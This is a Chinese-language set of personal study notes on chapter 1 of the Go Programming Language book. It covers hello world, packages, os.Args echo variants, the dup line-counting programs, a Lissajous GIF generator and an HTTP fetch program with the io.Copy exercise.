在第一章会介绍 Go 语言的基础组件, 提供足够的信息以及示例程序, 目的在于帮助读者尽快入门, 写出有用的程序

ch1.1 Hello World

Hello, World - Go 语言圣经 (gopl-zh.github.io)open in new window


需要先初始化一个 Go 应用

# go mod init [应用名], 例如:
+go mod init GoLearning
+

比如新建一个 HelloWorld.go

package main
+
+import "fmt"
+
+func main(){
+    fmt.Println("Hello World")
+}
+

Go 是一门编译型语言(静态编译), Go 语言的工具链将源代码及其依赖转换成计算机的机器指令

Go 语言提供的工具都可以使用 go 命令来调用, 其包含一系列子命令, 比如

  • run 命令可以编译一个或多个以 .go 结尾的源文件, 链接库文件, 并运行最终生成的可执行文件
  • build 命令可以将 .go 源文件编译生成对应的可执行的二进制文件, 由于是静态编译, 从而不用担心在系统库更新的时候会产生冲突

终端执行 go run HelloWorld.go 或者利用 VSCode+Go 扩展 F5 直接运行此 go 程序文件

Go 语言原生支持 Unicode, 可以处理全世界任何语言的文本

run 命令:

image-20221111005128048

image-20221111005237588


build 命令

image-20221113182359950


包管理

Go 语言的代码通过 包(package) 组织, package 类似于其他语言中的 库(libraries) 或者 模块(modules)

一个 package 由位于单个目录下的一个或者多个 .go 源代码文件组成,目录定义 package 的作用。

每个源文件都以一条 package 声明语句开始,这个例子里就是 package main,表示该文件属于哪个包,紧跟着一系列导入(import)的包,之后是存储在这个文件里的程序语句。

Go 的标准库提供了 100 多个 package, 以支持常见功能,如输入、输出、排序以及文本处理。比如:

  • fmt 包含格式化输出、接收输入的函数;

    Println 是其中一个基础函数,可以打印以空格间隔的一个或多个值,并在最后添加一个换行符,从而输出一整行。


package main

main 包比较特殊。它定义了一个独立可执行的程序,而不是一个库。在 main 里的 main 函数也很特殊,它是整个程序执行时的入口(译注:C 系语言差不多都这样)。main 函数所做的事情就是程序做的。当然了,main 函数一般调用其它包里的函数完成很多工作(如:fmt.Println)。


必须告诉编译器源文件需要哪些包,这就是跟随在 package 声明后面的 import 声明扮演的角色。hello world 例子只用到了一个包,大多数程序需要导入多个包。

必须恰当导入需要的包,缺少了必要的包或者导入了不需要的包,程序都无法编译通过。这项严格要求避免了程序开发过程中引入未使用的包(译注:Go 语言编译过程没有警告信息,争议特性之一)。

import 声明必须跟在文件的 package 声明之后。随后,则是组成程序的函数、变量、常量、类型的声明语句(分别由关键字 funcvarconsttype 定义)。

学到这里发现最初写的示例下意识开了个目录存放了测试文件, 然后还用了 package main 声明, 感觉不妥:

image-20221111005128048

因此还是只保留根目录下的 main 作为主程序入口, 将 print hello world 另外定义一个 packagefunction 存放并在 main 中导入使用

Relative imports in Go - Stack Overflowopen in new window

go - func not exported by package. - SegmentFault 思否open in new window


image-20221113220959407

  • 新建了一个 pkg 目录用来统一存放自定义的 package, 毕竟后续可能在根目录下添加 docs, .github 之类的, 比如(随手在 Github Activity 中找了个群友 star 的) Go 项目, 目录很规整

    image-20221113221402704

  • pkg 目录下新建了一个 hello 目录用来存放输出语句测试文件

    这里新建了两个文件, 都使用了同一个 packagehello_test

    不过在 main 中导入包的时候仍用的 "GoLearning/pkg/hello", 而且如果将其中一个 package 名称改为其他名称则会触发报错, 在 "hello" 中找到了多个 package

    image-20221113221746673

    因此合理推测一个文件目录下的 go 文件应当同属一个 package

    所以为了统一格式, 不如将该目录下的所有文件的 package 名都直接用目录的名称(除了根目录下的 package main)

    image-20221113222244698

  • main.go 中引入了 GoLearning/pkg/hello 并给了它一个别名 hello

    Relative imports in Go - Stack Overflowopen in new window


    Hello Worldopen in new window 章节最开始做的第一步就是初始化了一个 Go 应用, 在这个过程里就定义了应用名

    # go mod init [应用名], 例如:
    +go mod init GoLearning
    +

    image-20221113223108545

    别名不一定和包名一样, 有辨识度即可

    image-20221113222526417

  • 此外需要注意的是, 函数名称首字母一定要大写, 否则找不到

    go - func not exported by package. - SegmentFault 思否open in new window


    image-20221113222851217



function

一个函数的声明由 func 关键字、函数名、参数列表、返回值列表以及包含在大括号里的函数体组成。

这个例子里的 main 函数参数列表和返回值都是空的

在学习第五章时会进一步考察 function 的用法


分号的问题

Go 语言不需要在语句或者声明的末尾添加分号,除非一行上有多条语句。实际上,编译器会主动把特定符号后的换行符转换为分号,因此换行符添加的位置会影响 Go 代码的正确解析

比如行末是标识符、整数、浮点数、虚数、字符或字符串文字、关键字 breakcontinuefallthroughreturn 中的一个、运算符和分隔符 ++--)]} 中的一个)。

举个例子,函数的左括号 { 必须和 func 函数声明在同一行上,且位于末尾,不能独占一行

image-20221113223753964

而在表达式 x+y 中,可在 + 后换行,不能在 + 前换行

以+结尾的话不会被插入分号分隔符,但是以 x 结尾的话则会被分号分隔符,从而导致编译错误)。

image-20221113224118032

image-20221113224151044

image-20221113224224293


引号的问题

Golang 单引号、双引号和反引号 - 腾讯云开发者社区-腾讯云 (tencent.com)open in new window


需要注意的是, Go 语言中的单引号, 双引号, 反引号的功能是各不相同的

  • 单引号 表示 byte 类型或 rune 类型,对应 uint8 和 int32 类型,默认是 rune 类型。

    • byte 用来强调数据是 raw data,而不是数字;
    • rune 用来表示 Unicode 的 code point。
  • 双引号 才是字符串, 实际上是字符数组; 可以用索引访问某字节, 也可以用 len() 函数来获取字符串所占的字节长度

  • 反引号 表示字符串字面量, 但不支持任何转义序列;

    可以理解成 Python 中的 r"string" , 将内部字符串原样输出, 不转义 \n, \t, \r 等具有特殊含义的字符串


代码格式

Go 语言在代码格式上采取了很强硬的态度。gofmt工具把代码格式化为标准格式,并且 go 工具中的 fmt 子命令会对指定包, 否则默认为当前目录中所有 .go 源文件应用 gofmt 命令。

译者注:

  • 这个格式化工具没有任何可以调整代码格式的参数,Go 语言就是这么任性
  • 这也导致了 Go 语言的 TIOBE 排名较低,因为缺少撕逼的话题)。更重要的是,这样可以做多种自动源码转换,如果放任 Go 语言代码格式,这些转换就不大可能了。

很多文本编辑器都可以配置为保存文件时自动执行 gofmt,这样你的源代码总会被恰当地格式化。还有个相关的工具:goimports,可以根据代码需要,自动地添加或删除 import 声明。这个工具并没有包含在标准的分发包中,可以用下面的命令安装:

VSCode 安装 Go 扩展时应该是已经装了类似的工具了, 这点在个人编辑 go 文件时体会到了

对于大多数用户来说,下载、编译包、运行测试用例、察看 Go 语言的文档等等常用功能都可以用 go 的工具完成。学习 10.7 节open in new window 时会详细介绍这些知识。


ch1.2 命令行参数

os 包以跨平台的方式,提供了一些与操作系统交互的函数和变量。程序的命令行参数可从 os 包的 Args 变量获取;

os 包外部使用 os.Args 访问该变量。

os.Args 变量是一个字符串(string)的 切片(slice)(类似于 Python 中的切片, 是一个简化版的动态数组)


例如, 对于切片 a = [1, 2, 3, 4, 5]

  • 可以用 a[i] 访问当个元素, 例如 a[1] = 2

  • 可以用 a[m:n] 访问 a 的子序列, 如 a[0:2] = [1, 2, 3]

    左闭右开获取数组元素

image-20221122215213354


package cmd_param
+
+import (
+	"fmt"
+	"os"
+)
+
+// 类似于 echo, 默认分隔符为一个空格
+func Print_cmd_args() {
+	// 定义一个字符串切片, 用于存储命令行参数
+	var getParams string
+	// 分隔符为一个空格
+	var sep string = " "
+	// 第 0 个参数是程序名, 第 1 个参数才是实际传入的首个参数
+	for i := 0; i < len(os.Args); i++ {
+		getParams += os.Args[i] + sep
+	}
+	fmt.Println(getParams)
+}
+
+
  • 导入多个模块时, gofmt 会按照字典序对模块名排序

  • 注释方面与 C/C++ 一致, 单行注释用 //, 多行注释用 /**/

    // 到行末之前的内容都是注释, 会被编译器忽略

    一般来说会在每个包声明前添加注释, 从整体角度对程序做个描述

  • var 声明定义了两个 string 类型的变量 getParamssep

    变量会在声明时直接初始化。如果变量没有显式初始化,则被隐式地赋予其类型的 零值(zero value)

    数值类型是 0,字符串类型是空字符串 ""

    如果要在一行里定义两个 string 变量, 可以如下书写:

    var getParams, sep string
    +
  • + 用于连接字符串

  • := 是短变量声明(shrot variable declaration)的一部分, 可用于定义一个或多个变量并根据它们的初始值为这些变量赋予适当类型的语句

  • a += 1a = a + 1 以及 a++ 等价, 都是语句

    相对的, 在 C 系语言中, i++, i-- 是表达式, 存在 b = a++ 的写法, 但是 Go 中不允许这样写

    此外 Go 中也没有 ++i 的写法, 在 Go 中, ++-- 都只能放在变量名后面

  • Go 语言只有 for 循环一种循环语句, for 循环有很多种形式, 其中一种就如上述代码一样, 形如:

    for initialization; condition; post {
    +    // zero or more statements
    +}
    +
    • 三个部分不需要用括号包围, 但是要有大括号, 且 { 必须与 for 在同一行(像前面说的一样, 因为 Go 编译时会自动给每行加分号, 所以大括号单起一行过不了编译)

    • initialization 语句是可选的,在循环开始前执行。

      initalization 如果存在,必须是一条 简单语句(simple statement),即,短变量声明、自增语句、赋值语句或函数调用。

    • condition 是一个布尔表达式(boolean expression),其值在每次循环迭代开始时计算。如果为 true 则执行循环体语句

    • post 语句在循环体执行结束后执行,之后再次对 condition 求值。condition 值为 false 时,循环结束。


    • for 循环的三个部分都可以省略(分号需要保留, 用于确定位置), 当 initializationpost 都省略时才可以省略分号

    • 当三个部分都省略时则构造了个无限循环(类比 Python 中的 While 1:)

      // a traditional infinite loop
      +for {
      +    // ...
      +}
      +

      可以用 break 或者 return 语句终止循环

package main
+
+import (
+	"GoLearning/pkg/cmd_param"
+)
+
+func main() {
+	cmd_param.Print_cmd_args()
+}
+
+

image-20221122225915715


优化上述 echo 程序

在上述代码中, 命令行参数的获取是这样进行的:

for i := 0; i < len(os.Args); i++ {
+    getParams += os.Args[i] + sep
+}
+

那么首先需要遍历 os.Args 获取其长度, 在进入每次循环时需要先根据索引 i 遍历 os.Args 获取到 os.Args[i], 然后再拼接到 getParams 的末尾再拼个空格

可以使用切片来对此步骤进行优化

// 使用切片构造 echo 语句
+func Echo_Slice() {
+	var getParams, sep string
+	sep = " "
+	for _, arg := range os.Args[1:] {
+		getParams += arg + sep
+	}
+	fmt.Println(getParams)
+}
+
  • Go 中不允许有未使用的局部变量, 但是可以使用空标识符 _ 来忽略某个变量

    _ 可用于在任何语法上需要变量名但是程序逻辑中之处

  • 对于已声明的变量, 使用 := 会报错 "no new variables on left side of :="

    此时可以使用 = 赋值

image-20221122234757090


每次循环迭代字符串 getParams 的内容都会更新。+= 连接原字符串、空格和下个参数,产生新字符串,并把它赋值给 getParamsgetParams 原来的内容已经不再使用,将在适当时机对它进行垃圾回收

如果连接涉及的数据量很大,这种方式代价高昂。一种简单且高效的解决方案是使用 strings 包的 Join 函数:

// 使用 strings.Join() 方法构造 echo 语句
+func Echo_Join() {
+	fmt.Println(strings.Join(os.Args[1:], " "))
+}
+

image-20221122235236614


如果不关心输出格式的话, 直接打印 os.Args[1:] 也是可以的

// 不考虑输出格式, 直接打印 os.Args 切片
+func Echo_direct_print_slice() {
+	fmt.Println(os.Args[1:])
+}
+
package main
+
+import (
+	"GoLearning/pkg/cmd_param"
+	"fmt"
+)
+
+func main() {
+	fmt.Println("echo 基本写法:")
+	cmd_param.Print_cmd_args()
+	fmt.Println("echo 切片写法:")
+	cmd_param.Echo_Slice()
+	fmt.Println("echo strings.Join() 写法:")
+	cmd_param.Echo_Join()
+	fmt.Println("echo 直接打印切片:")
+	cmd_param.Echo_direct_print_slice()
+}
+
+

image-20221122235412091


TODO:: 加入计时分析, 以直观地对比各优化版本的实际效果

1.6 节open in new window讲解了部分 time 包,11.4 节open in new window展示了如何写标准测试程序,以得到系统性的性能评测。)


ch1.3 查找重复的行

查找重复的行 - Go 语言圣经 (gopl-zh.github.io)open in new window

对文件做拷贝、打印、搜索、排序、统计或类似事情的程序都有一个差不多的程序结构:一个处理输入的循环,在每个元素上执行计算处理,在处理的同时或最后产生输出。

本节展示一个名为dup 的程序的三个版本;灵感来自于 Unix 的 uniq 命令,其寻找相邻的重复行。


dup 的第一个版本打印标准输入中多次出现的行,以重复次数开头。该程序将引入 if 语句,map 数据类型以及 bufio 包。

package ch1
+
+import (
+	"bufio"
+	"fmt"
+	"os"
+)
+
+// 打印标准输入中多次出现的行, 以重复次数开头
+func Dup1() {
+	// 创建一个空的 map, 键为 string, 值为 int
+	counts := make(map[string]int)
+	// 创建一个从标准输入读取数据的 Scanner
+	input := bufio.NewScanner(os.Stdin)
+	// 逐行读取标准输入并更新 map counts
+	for input.Scan() {
+		// 遇到 0 时, input.Scan() 退出循环
+		if input.Text() == "0" {
+			break
+		}
+		counts[input.Text()]++
+
+	}
+	// 注意: 忽略input.Err()中可能的错误
+	for line, n := range counts {
+		if n > 1 {
+			fmt.Printf("%d\t%s\n", n, line)
+		}
+	}
+}
+
+

image-20230108234453299

  • map 从功能上来说和 Python 的 dict 比较像, 都可以存储键值对

    map 存储了键/值(key/value)的集合,对集合元素,提供常数时间的存、取或测试操作。

    • 键可以是任意类型,只要其值能用 == 运算符比较,最常见的例子是字符串;
    • 值则可以是任意类型。
    • 这个例子中的键是字符串,值是整数。

    内置函数 make 创建空 map

    关于 Map 的其他用法学到 4.3 会有一章讲解: Map - Go 语言圣经 (gopl-zh.github.io)open in new window

  • bufio 包使处理输入和输出方便又高效。Scanner 类型是该包最有用的特性之一,它读取输入并将其拆成行或单词;通常是处理行形式的输入最简单的方法。

    程序使用短变量声明创建 bufio.Scanner 类型的变量 input

    input := bufio.NewScanner(os.Stdin)
    +

    该变量从程序的标准输入中读取内容。每次调用 input.Scan(),即读入下一行,并移除行末的换行符;读取的内容可以调用 input.Text() 得到。Scan 函数在读到一行时返回 true,不再有输入时返回 false

  • if 后面跟的条件语句不用括号, 但是主体部分必须加花括号, 就算只有一行也要加

    image-20230109000500558

  • map 中不含某个键时不用担心,首次读到新行时,等号右边的表达式 counts[line] 的值将被计算为其类型的零值,对于 int0

  • 关于 Printf 格式化输出:

    %d          十进制整数
    +%x, %o, %b  十六进制,八进制,二进制整数。
    +%f, %g, %e  浮点数: 3.141593 3.141592653589793 3.141593e+00
    +%t          布尔:true或false
    +%c          字符(rune) (Unicode码点)
    +%s          字符串
    +%q          带双引号的字符串"abc"或带单引号的字符'c'
    +%v          变量的自然形式(natural format)
    +%T          变量的类型
    +%%          字面上的百分号标志(无操作数)
    +

很多程序要么从标准输入中读取数据,如上面的例子所示,要么从一系列具名文件中读取数据。dup 程序的下个版本读取标准输入或是使用 os.Open 打开各个具名文件,并操作它们。

// 统计标准输入或文件中重复的行
+func countLines(f *os.File, counts map[string]int) {
+	input := bufio.NewScanner(f)
+	for input.Scan() {
+		// 遇到 -1 时, input.Scan() 退出循环
+		if input.Text() == "-1" {
+			break
+		}
+		counts[input.Text()]++
+	}
+	// 注意: 忽略input.Err()中可能的错误
+}
+
+// 读取标准输入或是使用 os.Open 打开各个具名文件,并操作它们
+func Dup2() {
+	counts := make(map[string]int)
+	files := os.Args[1:]
+	if len(files) == 0 {
+		countLines(os.Stdin, counts)
+	} else {
+		for _, arg := range files {
+			f, err := os.Open(arg)
+			if err != nil {
+				fmt.Fprintf(os.Stderr, "dup2: %v\n", err)
+				continue
+			}
+			countLines(f, counts)
+			f.Close()
+		}
+	}
+	for line, n := range counts {
+		if n > 1 {
+			fmt.Printf("%d\t%s\n", n, line)
+		}
+	}
+}
+

  • os.Open 函数返回两个值

    • 第一个值是被打开的文件(*os.File),其后被 Scanner 读取。
    • 第二个值是内置 error 类型的值
      • 如果 err 等于内置值nil(相当于其它语言里的 NULL),那么文件被成功打开。读取文件,直到文件结束,然后调用 Close 关闭该文件,并释放占用的所有资源。
      • 如果 err 的值不是 nil,说明打开文件时出错了。这种情况下,错误值描述了所遇到的问题; 在上面的程序中对于此种情况的处理只是简单地将错误输出了
        • 在 Printf 中用了 %v 表示任意类型默认格式值
        • continue 语句直接跳到 for 循环的下个迭代开始执行。
  • 关于 CountLines 函数, 其实放在 Dup2 函数后面声明也是可以正常调用的, 不过个人习惯还是写把 Dup2 中要用到的函数写在前面了

    函数和包级别的变量(package-level entities)可以任意顺序声明,并不影响其被调用。

  • map 是一个由 make 函数创建的数据结构的引用map 作为参数传递给某函数时,该函数接收这个引用的一份拷贝,被调用函数对 map 底层数据结构的任何修改,调用者函数都可以通过持有的 map 引用看到。在我们的例子中,countLines 函数向 counts 插入的值,也会被 Dup2 函数看到。


dup 的前两个版本以"流”模式读取输入,并根据需要拆分成多个行。理论上,这些程序可以处理任意数量的输入数据。

还有另一个方法,就是一口气把全部输入数据读到内存中,一次分割为多行,然后处理它们。下面这个版本,dup3,就是这么操作的。这个例子引入了 ReadFile 函数(来自于io/ioutil包),其读取指定文件的全部内容,strings.Split 函数把字符串分割成子串的切片。(Split 的作用与前文提到的 strings.Join 相反。)

// 一次性读取指定文件到内存中, 然后进行分割与计算重复行的操作
+func Dup3() {
+	counts := make(map[string]int)
+	for _, filename := range os.Args[1:] {
+		data, err := ioutil.ReadFile(filename)
+		if err != nil {
+			fmt.Fprintf(os.Stderr, "dup3: %v\n", err)
+			continue
+		}
+		for _, line := range strings.Split(string(data), "\n") {
+			counts[line]++
+		}
+	}
+	for line, n := range counts {
+		if n > 1 {
+			fmt.Printf("%d\t%s\n", n, line)
+		}
+	}
+}
+

image-20230109005116705

  • ReadFile 函数返回一个字节切片(byte slice),必须把它转换为 string,才能用 strings.Split 分割。

    在 3.5.4 章中会有对字符串和字节切片的详细讲解

  • 实现上,bufio.Scannerioutil.ReadFileioutil.WriteFile 都使用 *os.FileReadWrite 方法,但是,大多数程序员很少需要直接调用那些低级(lower-level)函数。高级(higher-level)函数,像 bufioio/ioutil 包中所提供的那些,用起来要容易点。

仔细看上图中的输出会发现 cmd3 只计算到了 2 次, 这是因为文件最后没有换行, 可以将所有键值对输出看看:

image-20230109005755298

可以看到有两个 cmd3

这是因为我们使用的 \n 切分的字符串, Windows 下的默认行尾序列时 CRLF 也即 \r\n, VSCode 中可以调节行尾序列, 这里我用的 Windows 系统, VSCode 中默认也是 CRLF, 所以实际上最后三行切分的结果是: cmd3\r, cmd3\r, cmd3; 因此输出的时候会看到两个 cmd3

如果修改为根据 \r\n 切分的话就可以得到预期结果了:

image-20230109005903573

除此以外,在 Go 1.16 之后 io/ioutil 已经弃用了

image-20230110230449977

image-20230110230328271

这里可以直接使用 os.ReadFile, 效果是一样的:

image-20230110230525093


ch1.4 GIF 动画

package ch1
+
+import (
+	"image"
+	"image/color"
+	"image/gif"
+	"io"
+	"math"
+	"math/rand"
+	"os"
+	"time"
+)
+
+var palette = []color.Color{color.White, color.Black}
+
+const (
+	whiteIndex = 0 // first color in palette
+	blackIndex = 1 // next color in palette
+)
+
+func LissajousMain() {
+	rand.Seed(time.Now().UTC().UnixNano())
+	lissajous(os.Stdout)
+}
+
+func lissajous(out io.Writer) {
+	const (
+		cycles  = 5     // number of complete x oscillator revolutions
+		res     = 0.001 // angular resolution
+		size    = 100   // image canvas covers [-size..+size]
+		nframes = 64    // number of animation frames
+		delay   = 8     // delay between frames in 10ms units
+	)
+	/* rand.Float64() 返回一个 64 位也即小数点后保留 16 位的浮点数 f,
+	0.0 <= f < 1.0*/
+	freq := rand.Float64() * 3.0 // relative frequency of y oscillator
+	anim := gif.GIF{LoopCount: nframes}
+	phase := 0.0 // phase difference
+	for i := 0; i < nframes; i++ {
+		rect := image.Rect(0, 0, 2*size+1, 2*size+1)
+		img := image.NewPaletted(rect, palette)
+		for t := 0.0; t < cycles*2*math.Pi; t += res {
+			x := math.Sin(t)
+			y := math.Sin(t*freq + phase)
+			img.SetColorIndex(size+int(x*size+0.5), size+int(y*size+0.5),
+				blackIndex)
+		}
+		phase += 0.1
+		anim.Delay = append(anim.Delay, delay)
+		anim.Image = append(anim.Image, img)
+	}
+	// EncodeAll 函数将生成的  gif anim 写入到 out 中
+	gif.EncodeAll(out, &anim) // NOTE: ignoring encoding errors
+}
+
+

image-20230109230457018

out

  • line27~33 的常量声明给出了一系列的常量值,常量是指在程序编译后运行时始终都不会变化的值,比如圈数、帧数、延迟值。常量声明和变量声明一般都会出现在包级别,所以这些常量在整个包中都是可以共享的,或者你也可以把常量声明定义在函数体内部,那么这种常量就只能在函数体内用。目前常量声明的值必须是一个数字值、字符串或者一个固定的 boolean 值。

  • []color.Color{...}gif.GIF{...} 这两个表达式是复合声明(4.2 和 4.4.1 节有说明)。这是实例化 Go 语言里的复合类型的一种写法。

    前者生成的是一个 slice 切片,后者生成的是一个 struct 结构体。

  • lissajous 函数内部有两层嵌套的 for 循环。外层循环会循环 64 次,每一次都会生成一个单独的动画帧。它生成了一个包含两种颜色的 201*201 大小的图片,白色和黑色。所有像素点都会被默认设置为其零值(也就是调色板 palette 里的第 0 个值),这里我们设置的是白色。每次外层循环都会生成一张新图片,并将一些像素设置为黑色。其结果会 append 到之前结果之后。这里我们用到了 append(参考 4.2.1)内置函数,将结果 append 到 anim 中的帧列表末尾,并设置一个默认的 80ms 的延迟值。循环结束后所有的延迟值被编码进了 GIF 图片中,并将结果写入到输出流。out 这个变量是 io.Writer 类型,这个类型支持把输出结果写到很多目标,很快我们就可以看到例子。

    内层循环设置两个偏振值。x 轴偏振使用 sin 函数。y 轴偏振也是正弦波,但其相对 x 轴的偏振是一个 0-3 的随机值,初始偏振值是一个零值,随着动画的每一帧逐渐增加。循环会一直跑到 x 轴完成五次完整的循环。每一步它都会调用 SetColorIndex 来为(x,y)点来染黑色。

    main 函数调用 lissajous 函数,用它来向标准输出流打印信息,所以下面这个命令会像图 1.1 中产生一个 GIF 动画。

    go build main
    +main.exe > out.gif
    +

    Windows 下需要在 CMD 下执行该命令, 使用 powershell 生成的 gif 文件无法查看, 检查 hex 可以看到一些 00

    image-20230110000030361

    可参阅:

TODO: 这节内容其实有一些代码没有完全理解, 后面学完 ch4 再回来看看


ch1.5 获取 URL

Go 语言在 net package 的帮助下提供了一些列的 package 来访问互联网上的信息, 使用这些包可以更简单地用网络收发信息, 还可以建立更底层的网络连接, 编写服务器程序, 在这些情景下, Go 语言原生的并发特性显得尤其好用

在第八章中会介绍 Go 语言原生的并发特性

TODO: 在可以建立更底层的网络连接方面看起来似乎可以用来构造一些欺骗性质的请求, 之后遇到可以试试

下面是一个 fetch 程序的示例, fetch 到对应 url 并打印响应文本

这个例子的灵感来源于 curl

package ch1
+
+import (
+	"fmt"
+	"io"
+	"net/http"
+	"os"
+)
+
+func PrintResponseBody() {
+	for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+		resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+		// 如果有错误发生,打印错误信息并退出程序并返回错误码1
+		if err != nil {
+			fmt.Fprintf(os.Stderr, "fetch: %v\n", err)
+			os.Exit(1)
+		}
+		b, err := io.ReadAll(resp.Body) // 读取响应体
+		resp.Body.Close()               // 关闭响应体
+		if err != nil {
+			fmt.Fprintf(os.Stderr, "fetch: reading %s: %v\n", url, err)
+			os.Exit(1)
+		}
+		fmt.Printf("%s", b) // 打印响应体
+	}
+
+}
+
+

image-20230316012053363

上述是请求成功的情况

请求失败:

image-20230316013107635

超时:

image-20230316013139581

译注:在大天朝的网络环境下很容易重现这种错误,下面是 Windows 下运行得到的错误信息:

$ go run main.go http://gopl.io
+fetch: Get http://gopl.io: dial tcp: lookup gopl.io: getaddrinfow: No such host is known.
+

无论哪种失败原因,上述程序都用了 os.Exit 函数来终止进程,并且返回一个 status 错误码,其值为 1。

  • := 是一个赋值运算符, 用于 声明并初始化 一个变量, 其左边是一个或多个变量, 右边是一个或多个表达式

    := 运算符只能用在函数内部,不能用在全局作用域

    它可以简化变量的声明和赋值过程,不需要使用 var 关键字或指定变量的类型

    syntax - Assignment operator in Go language - Stack Overflowopen in new window

  • Go 语言中, os.Args 是一个字符串切片,用于存储命令行参数

    os.Args[0] 是程序名称, os.Args[1:] 是程序的参数, 例如当前目录下有一个名为 hello.go 的程序, 在命令行中使用如下语句编译并运行该程序文件

    go run hello.go world !
    +

    那么 os.Args 的值就是:

    ["hello", "world", "!"]
    +

    range os.Args[1:] 是一个 for 循环语法, 用于遍历切片中的每个元素, range 的返回结果是 索引 元素值 的形式, 例如:

    for i, arg := range os.Args[1:] {
    +    fmt.Println(i, arg) // 打印索引和参数
    +}
    +

    输出

    0 world
    +1 !
    +

    在本节的示例程序中使用了 _ 来承接循环体内不会使用到的索引值

  • http.Get(url) 返回一个响应对象和一个错误对象

    响应对象中包含了响应的状态码, 头部, 正文等信息

    错误对象表示请求过程中发生了错误, 如果没有错误则错误对象为 nil

  • nil 是一个预定义的标识符,表示指针、通道、函数、接口、映射或切片类型的零值

    • nil 只能给指针, 通道, 函数, 接口, 映射或切片类型的变量赋值, 否则会引发 panic, 例如

      var i int = nil // 错误:cannot use nil as type int in assignment
      +var p *int = nil // 正确:p是一个指向int类型的空指针
      +
    • nil 可以用来检查一个变量是否为空或者未初始化, 例如

      var s []string // s是一个空切片,其值为nil
      +if s == nil {
      +    fmt.Println("s is nil")
      +}
      +
  • Fprintfprintf 之间的主要区别是输出目标不同。

    Fprintf 可以指定任意的 io.Writer 作为输出目标

    printf 只能输出到标准输出流。

    c - Difference between fprintf, printf and sprintf? - Stack Overflowopen in new window

    Println vs Printf vs Print in Go - Stack Overflowopen in new window

    • Fprintf 的第一个参数是一个 io.Writter 类型的变量, 表示输出流, 其可以是文件, 网络连接, 标准输出等

      Fprintf 会将后面第 2 个及之后参数按照指定格式写入到输出流中, 例如:

      f, err := os.Create("test.txt")
      +if err != nil {
      +    log.Fatal(err)
      +}
      +defer f.Close()
      +fmt.Fprintf(f, "Hello, %s!\n", "world") // 将Hello, world!写入到test.txt文件中
      +
    • printf 的第一个参数是一个字符串,表示格式化模板,后面的参数是要格式化的值。printf 会将格式化后的文本输出到标准输出流(通常是屏幕)。例如:

      fmt.Printf("The answer is %d.\n", 42) // 在屏幕上打印The answer is 42.
      +
  • os.Stderr 是 Go 语言中的一个标准错误输出流, 它是一个 io.Writter 类型的接口, 可以用于向标准错误输出(通常是中断或者控制台) 写入数据

    一般情况下, 我们可以使用 os.Stderr 来打印错误信息或调试信息, 而不影响正常的标准输出流

    • os.Stderros.Stdout 都是 io.Writter 类型的接口, 可以向中断或者控制台写入数据, 他们的主要区别是:

      • os.Stderr 用于输出错误信息或调试信息, 它是无缓冲的, 每个输出都会立即刷新
      • os.Stdout 用于输出正常的程序输出, 它是有缓冲的, 只有当缓冲区满了或者程序退出时才会刷新
  • ioutil.ReadAll 用于从一个 Io.Reader 中读取所有数据

    io.Reader 是一个接口, 表示可以从某个某个实体中读取数据流的能力, 具体来说, 它允许你从实现了 io.Reader 接口中的东西读取数据到一个字节切片中, 一些常见的实现了 io.Reader 接口的类型有:

    • 文件 (*os.File)
    • 网络连接(*net.TCPConn, *net.UDPConn 等)
    • 缓冲区 (*bytes.Buffer)
    • 压缩/解压缩器(*gzip.Reader, *flate.Reader 等)
    • 加密/解密器(*cipher.StreamReader 等)

    Go 编程技巧--io.Reader/Writer - 简书 (jianshu.com)open in new window

  • 使用 ioutil.ReadAll(resp.Body) 读取了响应体之后,需要使用 resp.Body.Close() 关闭响应体,是因为

    • resp.Body 是一个 io.ReadCloser 类型的接口, 它包含了 io.Readerio.Closer 两个接口

      io.Closer 接口定义了一个 Close() 方法, 用于关闭资源并释放底层的文件描述符

    • 如果不关闭 resp.Body, 那么底层的网络连接将无法被复用, 导致资源泄露与性能下降

    • 通常情况下, 我们应当在读取完 resp.Body 后立即调用 resp.Body.Close() 来关闭响应体, 并且使用 defer 语句确保在函数返回时一定会执行这个操作

      比如在 networking - Access HTTP response as string in Go - Stack Overflowopen in new window 的一个回答中给出了一个示例代码

      var client http.Client
      +resp, err := client.Get(url)
      +if err != nil {
      +    log.Fatal(err)
      +}
      +defer resp.Body.Close()
      +
      +if resp.StatusCode == http.StatusOK {
      +    bodyBytes, err := io.ReadAll(resp.Body)
      +    // if u want to read the body many time
      +    // u need to restore
      +    // reader := io.NopCloser(bytes.NewReader(bodyBytes))
      +    if err != nil {
      +        log.Fatal(err)
      +    }
      +    bodyString := string(bodyBytes)
      +    log.Info(bodyString)
      +}
      +

    networking - Access HTTP response as string in Go - Stack Overflowopen in new window

    go - How do I turn an io.Reader into a io.ReadCloser? - Stack Overflowopen in new window

    不过 Go 1.16 版本弃用了 io/ioutil, 可以使用 io.ReadAll 代替 ioutil.ReadAll

    Go 1.16 Release Notes - ioutil - The Go Programming Languageopen in new window

    image-20230316010211279


练习 1.7 使用 io.Copy 替代 io.outil.ReadAll

函数调用 io.Copy(dst, src) 会从 src 中读取内容,并将读到的结果写入到 dst 中,使用这个函数替代掉例子中的 ioutil.ReadAll 来拷贝响应结构体到 os.Stdout,避免申请一个缓冲区(例子中的 b)来存储。记得处理 io.Copy 返回结果中的错误。

/*
+练习 1.7:
+
+函数调用io.Copy(dst, src)会从src中读取内容,并将读到的结果写入到dst中,
+使用这个函数替代掉例子中的 ioutil.ReadAll 来拷贝响应结构体到 os.Stdout,避免申请一个缓冲区(例子中的b)来存储。
+记得处理io.Copy返回结果中的错误。
+*/
+package ch1
+
+import (
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"os"
+)
+
+func PrintResponseBody_Copy() {
+	for _, url := range os.Args[1:] { // 遍历命令行参数中的每个URL
+		resp, err := http.Get(url) // 发送HTTP GET请求并获取响应
+		// 如果有错误发生,打印错误信息并退出程序并返回错误码1
+		if err != nil {
+			fmt.Fprintf(os.Stderr, "fetch: %v\n", err)
+			os.Exit(1)
+		}
+		defer resp.Body.Close() // 关闭响应体
+
+		n, err := io.Copy(os.Stdout, resp.Body) // 读取响应体
+		if err != nil {
+			log.Fatal(err)
+		}
+		fmt.Printf("Copied %d bytes", n)
+	}
+}
+
+
  • io.Copy 函数是从一个 io.Reader 接口读取数据, 并写到一个 io.Writter 接口, 直到读取完毕或发生错误

    使用 io.Copy 的一般格式是

    n, err := io.Copy(dst, src)
    +
    • n 字节数
    • err 复制过程中遇到的错误
    • (dst, src) (目标的 io.Writter, 源的 io.Reader)
